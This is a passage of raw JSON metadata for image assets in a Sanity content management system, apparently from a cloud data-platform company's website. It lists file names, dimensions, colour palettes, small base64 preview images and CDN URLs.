.png","path":"images/sczeoy4w/production/a6b9fe3f7e0c14067c1c7e0a6d5d445e063007fd-1567x844.png","sha1hash":"a6b9fe3f7e0c14067c1c7e0a6d5d445e063007fd","size":122661,"uploadId":"rqBvGOYXrvKOSTOk2OpM7LRqAavW8AmI","url":"https://cdn.sanity.io/images/sczeoy4w/production/a6b9fe3f7e0c14067c1c7e0a6d5d445e063007fd-1567x844.png"} {"_createdAt":"2023-08-21T11:06:45Z","_id":"image-60246127970208894161981232befa7c7a35a840-2500x2500-png","_rev":"XPsPxQ3o95dhiSIpxavP5S","_type":"sanity.imageAsset","_updatedAt":"2023-08-21T11:06:45Z","assetId":"60246127970208894161981232befa7c7a35a840","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e597F{02Es}Q005z+?%45Z-9RLS*-7aHG0D%sAcGxb,l$KInNv-VI[","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3a3863","foreground":"#fff","population":0.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#092e84","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#de7831","foreground":"#fff","population":2.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9194c2","foreground":"#000","population":0.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#848ce1","foreground":"#fff","population":1.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#525c93","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de7831","foreground":"#fff","population":2.92,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"IDC_White_paper_mockup (1).png","path":"images/sczeoy4w/production/60246127970208894161981232befa7c7a35a840-2500x2500.png","sha1hash":"60246127970208894161981232befa7c7a35a840","size":1445980,"uploadId":"J091Wi8ak8cClL0o9RrEg6oHZmCfFk5X","url":"https://cdn.sanity.io/images/sczeoy4w/production/60246127970208894161981232befa7c7a35a840-2500x2500.png"} {"_createdAt":"2023-03-20T20:27:53Z","_id":"image-19cea712fa66d1413f28fec799996526258104c9-1567x844-png","_rev":"FyKybxTQXmO9mB4BpLM6Y8","_type":"sanity.imageAsset","_updatedAt":"2023-03-20T20:27:53Z","assetId":"19cea712fa66d1413f28fec799996526258104c9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MMQvXpP;qtu4r@S4MxkCtRnhR4OEnNkWf6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACHElEQVQokY2RO28TQRSF96eAhEQPVDT8iIiKLlDRUFFEKFCkQ0KiwaIFIRAlVQQ4JvbGxE4sYSIgfnvX+5jXPuz1jrGl0R40a8egSEgpPp1778wcnZkxPBLBGjEMbQrL1rqsNQOLoD/wc3W9EExMIUIJLqYgIgWxhgg/7EBuXcV88xIWd27AaHVGOKx/Q7lSg1k9hnlwjIp5hIpZx36lhrJZx1HjBJ2eA8ImuSHlCXw2AbUtxMUCZi9uY/b8LuTLHRinbSs3+rxn4kv5EKX9r9grVVEsHeRo0+ZJG/aI5wl5kK4NGeGIWseIG7uIvtcQtLswHC9Et++i1bHR6TpoazqjvNfoNWd93fSvIR2DsRicCDCfgdAYPktg6A0XQWhEAsHHoDSC74k1nhfAIzFcOoGh3+RC5GYxBAtBSQDP5UscBt/2QLoD0B8/YfBzB/+bcGXIaQRCQvguA+n+Am8UERbfIH73DJPCIxgiSDN+DhHKper+3zqYZpRNMo+MMzLoZVGxkE0LG9nsyc3s94Pr2fzetcwQJAJxOBxH5A+dp1klzVOfJVzN9Ie4NAFtNTF5ex/z7ctYPLyCxdYtzB9vwBAuU15vpAZ9VzleqJiYKhFKxYN0yao+m+l1yqeK909VsvtUzV5tqvT9tko+vlbj6idlCDaWjETSJ7GkPJE8SKUI5VqX9aoP0ly5nhMuo25TRq2GDOyhFDSUQiTyD4trFqfsD03ZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444c54","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc3414","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6770e","foreground":"#fff","population":2.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dac0ba","foreground":"#000","population":0.26,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc70","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#81796e","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6770e","foreground":"#fff","population":2.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Empowering_platform_teams_with_portals_blog.png","path":"images/sczeoy4w/production/19cea712fa66d1413f28fec799996526258104c9-1567x844.png","sha1hash":"19cea712fa66d1413f28fec799996526258104c9","size":61378,"uploadId":"558VlCdBwZxLsIyPYJOm8erfD1gOEmIq","url":"https://cdn.sanity.io/images/sczeoy4w/production/19cea712fa66d1413f28fec799996526258104c9-1567x844.png"} {"_createdAt":"2023-03-28T10:28:41Z","_id":"image-41ee2aeb05cdb0a3e065ebaf25b8d6f1af7a945d-966x725-png","_rev":"WYYBJ4jzXPhbQa4a6QgnvT","_type":"sanity.imageAsset","_updatedAt":"2023-03-28T10:29:19Z","altText":null,"assetId":"41ee2aeb05cdb0a3e065ebaf25b8d6f1af7a945d","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3324137931034483,"height":725,"width":966},"exif":{"ColorSpace":1,"PixelXDimension":966,"PixelYDimension":725,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAACS0lEQVQ4jX2TW4+bMBCF8///VdWX9qXqSm21qhISLgFsDPh+wbCnskmy3dVqH47swcw3x/b48PWZ4MffK07nGnXToKwrXOoS/UChnYMLET4sWGLE9vKCl/+0bRu8D9DaZFnrcPh1YTiWFG1LQChFNxB0Qw/GJwhjIbSDVAbWeYRlQYwR67pmLcsC73wGWWt3oBYGhmtYpWGMgXEW1lk47+F8gLklJCc+BIQQsCwxKxUId4UA5xwOq/cIxsIneY81bW3bHrq72W7jPt+wJafGIgqN1TisuciCg5MSapogGYOZZwStEK3JWt/p/j1ai8g5/HMB++0J4bnAqk0+joOjBLLrIPsemlLogea57FqotoVuW6hrC3m9grdX8K6F6DvIpoF4+gP+5Tv0z9+IXOxA3dQYLmcMdQVBevC+AykvIKcTWFFgPBVgxxPI8YjudERXFHl9ahrwusFcnCHLCotSiHHBITnpilP+cW5bzF27A89nsKrEWFVgVYWhLDFUJVhTY2qvubigJM8lIVicvTmUEiOlmNgAJQQk5zlmlGBmDPM4PsTHEXKeYaSE1Qopl49jzou3ljqkVuFCQGudrz2N0zRhnmfIdGFKQSm9S++tZVPD+9ROFkLI3NQJ9gDek+/AFHPOMywDrM1r75XNcJ5z3gBZ2tI858QUCyHeAD+CvRbnN+D6ChyGAYyxvJBilbah1O05fewuKRUcpykfxwOYEhKQEJKdWW1gEuwTZ2+A4w5ML2hvbOcwjiMopRmYzyzBPnF2VzKToGm8A/8BMZ19b66vj50AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c242c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a527d","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d19eaa","foreground":"#000","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d19eaa","foreground":"#000","population":0.43,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6ca4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b85a6c","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df1349","foreground":"#fff","population":0.21,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"pg-json-cheatsheet-service_overview.png","path":"images/sczeoy4w/production/41ee2aeb05cdb0a3e065ebaf25b8d6f1af7a945d-966x725.png","sha1hash":"41ee2aeb05cdb0a3e065ebaf25b8d6f1af7a945d","size":112398,"title":null,"uploadId":"EM7lb7JL4ESXViI1vBGjS8QiYOYnhyfo","url":"https://cdn.sanity.io/images/sczeoy4w/production/41ee2aeb05cdb0a3e065ebaf25b8d6f1af7a945d-966x725.png"} {"_createdAt":"2023-08-25T08:10:21Z","_id":"image-66b4eb00bcc962829910eca96ae0fad22ea0a81e-1567x844-png","_rev":"pv5QzE4Lm79BNhDrjiYOzn","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T08:10:21Z","assetId":"66b4eb00bcc962829910eca96ae0fad22ea0a81e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC7w~@%KRgs:RQ?wocRikDR*V?RjWBj]oe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACbUlEQVQokSWNeU/acABA+wm0tPSix6+3oDCJOjOHighYUSKH0oKAUA6RQ1TmZLKpTLwQdydzS2b2VTe25P373oNQWwLnkgTYJkCWEExaqQB7g1Wb7NgRP97mnR3BeSY4u2D8lFGbjNJg1X1KLFuZNEwmINGef75wMB947Vk+8fhPvdqFV3s/6z1fCF5r0Y9a9Etg46s//G157YNX63n8Z4srvcXgpWumRfA5SHEWfavtqN6LJ28iiZuI3t9IDALhu/XNT/rOY8r8ZeSejNxvPfsjajxoG9f+9Yel0Ef3XJdRjyDFVfRp7ZjR09P9ePIuovcjiUEoeh8MD9bin6PJx1jq51bmKZ76HordLwSvJmavRFeXc7xj7BeQfbK8tHISip7HjGs9Mwhv3s4HLtwvOo6p04mZs8m5nvvl7dR83z13OT7dlp0tSj7EQB3nm5TyBhId5oyn6Vk+9mmd1cilb7U7MX1skxqE0KSklk05odUOrb6lpFc42EMZE6F3EDqLMiYOahBK6ySfoqUsq5iCo8I7ajapioEaDhq4cECILUpuU3IbF5ooU7TYMgid+w/GVaBRPD6ESMBU0kJlEDqPMmWMq+KgPkzwdUI8JMUWztcROmeh0lZ2FwNVlCmgTBEiyRhgt4CcpaU8xuYQ2rSyQxkDNZQtDVtsEeP2rGzZQmVgKoVxFQxUEXoHJpOQwMRcsuF6VlJcFUooWLkCDnYJvk4IDYwrIXQGZbIYV7KyBZhMwaTx72mOksYIHoc4PilK29JYnrcXGblEKxVWrXNjTWA/YtV9m1SySSVaruGgCJPGKJGwUGmYSo0QW3/lP8HnqEicTxS3AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#35316a","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041770","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":7.61,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dcea","foreground":"#000","population":7.61,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#777cbe","foreground":"#fff","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f92","foreground":"#fff","population":1.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242d90","foreground":"#fff","population":2.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"m3-services-aiven-terraform.png","path":"images/sczeoy4w/production/66b4eb00bcc962829910eca96ae0fad22ea0a81e-1567x844.png","sha1hash":"66b4eb00bcc962829910eca96ae0fad22ea0a81e","size":127768,"uploadId":"RJOFVeWPLlSy16S67bBO52GLI7Ab9tXb","url":"https://cdn.sanity.io/images/sczeoy4w/production/66b4eb00bcc962829910eca96ae0fad22ea0a81e-1567x844.png"} {"_createdAt":"2023-04-03T14:49:37Z","_id":"image-2861eb5f7bb671cfd6fcb775f5ed041635d513c3-1567x844-png","_rev":"vOsSHiJII2yR1stA8QJnvV","_type":"sanity.imageAsset","_updatedAt":"2023-04-03T14:49:37Z","assetId":"2861eb5f7bb671cfd6fcb775f5ed041635d513c3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75rv4-;IUogs,_N%NM_WUkDxut7j[f6of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACBklEQVQokX2Sz1PTQBTHN/0RKtiKKFVvHLw0u6Gd/qTQTg9WxxODjiIgozM2Sds0paXogfECKgXRgb82ntZ8nd2NQRzHw2feztu33/d9LyGpgov52gi3V8a4VR0hXR5ituhFzJU8pCtDZKp7uFkeYqbgQqNdkJytMJwwhmSbByi++IK1119R2ZxieeMYbP0I+WefYG4cg64fyZy4q2ye4OHTj5grDaFRR4kZIbmQB60PqO+cod25xKN3F2i9/Y7G7jlab76huXuO1Z0z2azducAT6xLllydYah9iob6P5HL/D9HQ4UJ9LB2sbJ9Gj2tbp6i+msrHgtrWVIqLRoXnn6XrpceHuFEcXBPTRBRd5mtjLK5NsNiYINs4kOe7qxO51zv1fZm/13wv74QzgdhpwvztUIlJwWix/0EUxqlCEznaA6H9kF5UEwqGX+lv5BiqMEEt6KwDnVpI0G6gsQEI866gyqkSNOxAMxwJ+Qcxage6aQU6s4IkdQKd9YOY6QWECQZX0egGQoukqIVMvot0aQA976qRov/LgUZt6KZwKLChMxcx6cpVziKXanSSYR1+v9Tj2fqIz5Y8rlGHk5zNiSGiw4lh8zi1eZJZXGcWj7M+J8z7SdggRJ45MXrqTZJafsp0/Jl834+bPZ8Yjk9y9vVo2L4WQmjfJ2z4g5iCPQVzfWJ0Zf0vc5Jw0xkXetEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#346464","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":64.65,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":64.65,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4a8c4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4bbd8","foreground":"#000","population":0.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a05c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b1464d","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"What’s_new_in_Aiven_Terraform_Provider_4X_blog.png","path":"images/sczeoy4w/production/2861eb5f7bb671cfd6fcb775f5ed041635d513c3-1567x844.png","sha1hash":"2861eb5f7bb671cfd6fcb775f5ed041635d513c3","size":27157,"uploadId":"HAQwlFnAMOdGhPlXZnwp4Wf662mPNMj2","url":"https://cdn.sanity.io/images/sczeoy4w/production/2861eb5f7bb671cfd6fcb775f5ed041635d513c3-1567x844.png"} {"_createdAt":"2022-06-30T20:00:02Z","_id":"image-0c0690e9285bc149986e3282a35c78f9432439ca-987x746-png","_rev":"ZxzZ1hFw7v7VMlheRptrUr","_type":"sanity.imageAsset","_updatedAt":"2023-02-20T09:08:14Z","altText":"Pizza orders topic content","assetId":"0c0690e9285bc149986e3282a35c78f9432439ca","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V7S?Gc?It7SvnT~ENFRjxbScspWBaeoff*.7V[jGWUoM","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3230563002680966,"height":746,"width":987},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAYAAADkmO9VAAAACXBIWXMAAAsTAAALEwEAmpwYAAABp0lEQVQ4jZ2T25LiMAxE/f+fOoSwJL7p5t6SHCAMWzxsqprYWGlZR3aCKiACMAPEc2wGjIH/eZIwg5mhIjBVDJfZSSPedvrvPB6/5imXgn3fUWudxsQYxDARiEgkUtXPMXscYbC85ixIRITee5j5ghv5gu/UP/Zd/9Mw4jjiVXTORZHGGPgmL8eTeeKHIvEzmUEiiUZs8p/Q2Qifhq210KMaN1KzaSgnQ3f3hWn8bZcC8gYKQ1QO6Wk8cSQ6AnwSMoUNe5r542/fVakFuWfsvCNLRpOGpg1de4iUkBp1EFNk7tzRpKJbhw59M2y1Yr1dcdl+cGk/WGlF1QKyDjIKiXmXvbvHlsPUMxl9GPbecLuvWPYF137FRnew8ls1rhRH48xrvBqE47JEySKorSJTRuES5bKjMoXYROVKE/JszIPhQ9N8yrGUmpH7jnwwrFJQpYacpSsYdmfoZ43pDbTzcZ4+drP1tmDZLlj6gitdsck9OEb8wfLJMG6AczT+kAeWVrD+eTFc+4qNX4Ye55UkL/XrbTkOud+O1hsKlWBYeJYa5QZPP+yKv4j/nGE8t7soAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d6b2d","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#275d27","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9ae6a0","foreground":"#000","population":0.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca4bc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9ae6a0","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#74c181","foreground":"#000","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74c474","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"0c0690e9285bc149986e3282a35c78f9432439ca-987x746.png","path":"images/sczeoy4w/production/0c0690e9285bc149986e3282a35c78f9432439ca-987x746.png","sha1hash":"0c0690e9285bc149986e3282a35c78f9432439ca","size":124260,"title":null,"uploadId":"TCC28OZsp6KNSvbaIUZ2G8YcXAO4JKVQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/0c0690e9285bc149986e3282a35c78f9432439ca-987x746.png"} {"_createdAt":"2023-08-25T08:11:46Z","_id":"image-8e34a1ac341893fd1174924a231a083c8f01f76a-1567x844-png","_rev":"n4o7HM4ybKf4O57IbTOuUK","_type":"sanity.imageAsset","_updatedAt":"2023-08-25T08:11:46Z","assetId":"8e34a1ac341893fd1174924a231a083c8f01f76a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MC7-jm-oMvaeWC?woxM{kDWCM_M{oet8jY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACcklEQVQokSWO2VLaUABA8wUCgey5NwlJCLWA09o6jhtFBYUCyk4akCUBZJPigtJW3NARq63LOO1b24f+Z2s7c17PnIOgdAoDGRyoOMzhXJEUDFZqAMcWULrQuQedfcE1kCaOBVcfKB2otIGjRfC6hVZNRBKBjg3P6/q0tzvj603O7U7O9uaWj96sDBdDl96V0czSyB+9D6e+B6JffavDxeDpgv90YrpPi1ULnUPE5+X5pd1o8iSaPPOHj/3hs7X0dVK7S2gP0fRDJPWYr/zUG7/j6qMveOYNnCwERi9nz6Fzl+DbiOzWl0P9RHYYSZxGkudJ7Sadv0vl7uPq/VrmIaZ+08o/NP3XYuha9uxApWt3DfjxQ0buM44BoniMQPhDJHGyEhlEUxfZwm06dxvL3r5NfPFHbuYCn6e8V6/mr5wvDgmhZQObGNfGuRYhdGjp4Gl71rftDfTml/eXQoPg+kVo/XJ1beQLXk55h88mj6DzE+P4SIk7GLeJMiWUzqN03sqWcK6B2Ng0bddYaQPIJV6p2sebkqsje3ZE1x4/vscqPVo+oMR9XOhYWd1C51Gm8B8M1hATHn+CSJlJ1ULlUKZkZSs2WMe4JsY1cL5J2N+T9m2cb6JMwUJpNlDFuLqVLVtZHSHJGAeSnJRnxCIGCihTsoEK9iQ3rMBAmaIV6BjctIGKhcqZKRWDNYyro8yGmcwiAhtzSxm3x5DdNUoo22AZ56oE3ySEFgYNlMlZ2TwGDRsom0nVTGb+NUsmMjOGxxHIZ+3iO1Ep8k6dlQxGrgFHEypbnLMLHG1aNGjRYKQGzulmMmMiUhZKM1PqGJH8K/8B9LSpeEa5XwAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363167","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04146e","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d8dbea","foreground":"#000","population":7.87,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d8dbea","foreground":"#000","population":7.87,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676d91","foreground":"#fff","population":1.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242d90","foreground":"#fff","population":3.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"replicate-kafka-cross-cluster-mirrormaker2.png","path":"images/sczeoy4w/production/8e34a1ac341893fd1174924a231a083c8f01f76a-1567x844.png","sha1hash":"8e34a1ac341893fd1174924a231a083c8f01f76a","size":128629,"uploadId":"APFmsSXipVtrYNdV9kZSvV5BFBtTHCW2","url":"https://cdn.sanity.io/images/sczeoy4w/production/8e34a1ac341893fd1174924a231a083c8f01f76a-1567x844.png"} {"_createdAt":"2023-04-06T12:25:50Z","_id":"image-8b626216b6356e4dd7894310f36ca825487d63b1-1567x844-png","_rev":"WEM1s63asEf3GCsZHSwLfC","_type":"sanity.imageAsset","_updatedAt":"2023-04-06T12:25:50Z","assetId":"8b626216b6356e4dd7894310f36ca825487d63b1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M5TM_R.zem;3dq}WjbfPjZf7dCengNg3g~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAABuUlEQVQokY3S0UtTcRjG8ecMZ+HU7kSkMiFCIoIoL7pIJIKut7nG3Gm61ljM7WzHbWcWdiGDLIwuiqB/9Hf34/3GZqFJiy6e2w9fXl6RFeQEeUFBUBSUBKGgItgT1AR1QUPQFLQEkSAW9AQDQSIYCk2wy+DOBbA6BexMA7MXwO0pha+mFHYFB9MKtwMopaE8XgpeBrAbQDWAWvAn2ElDfw6GGRhegSR1CRxXhouQPIB3GxCtQvcW9NZgsAa9FWjPQ3MG2rNwdB1OH8KXDfh4B44WJtgYPS98vQKf8/CtDMdPYLQJJ1vw6SmMHkF/GdpzEM/DaB2+P4Mfz+HrYzhegmHwC/x9w3ABuuvQv3dW2LkB8U3or8LBMrQysJ+GaBbeLsGHu3B6H05uw/tr56BlZZaTWV5mL1JmpZRZOTALA7NdmVVlVpNZXWZvZNaUWTRjNsiYHS6aHV41S1JmiSb7+9v8zx/+4208OXny8hTkKcqzI08oT0Weqjw1eeryNORpytOSJ5Inlqcnz0Ce5Gxj0JGTIy9HQY6iHCU5QjkqcuzJUZOjLkdDjqYcLTkiOWI5enIM5EjkGMr9BD+kFohYg6C/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":23.19,"title":"#fff"},"lightMuted"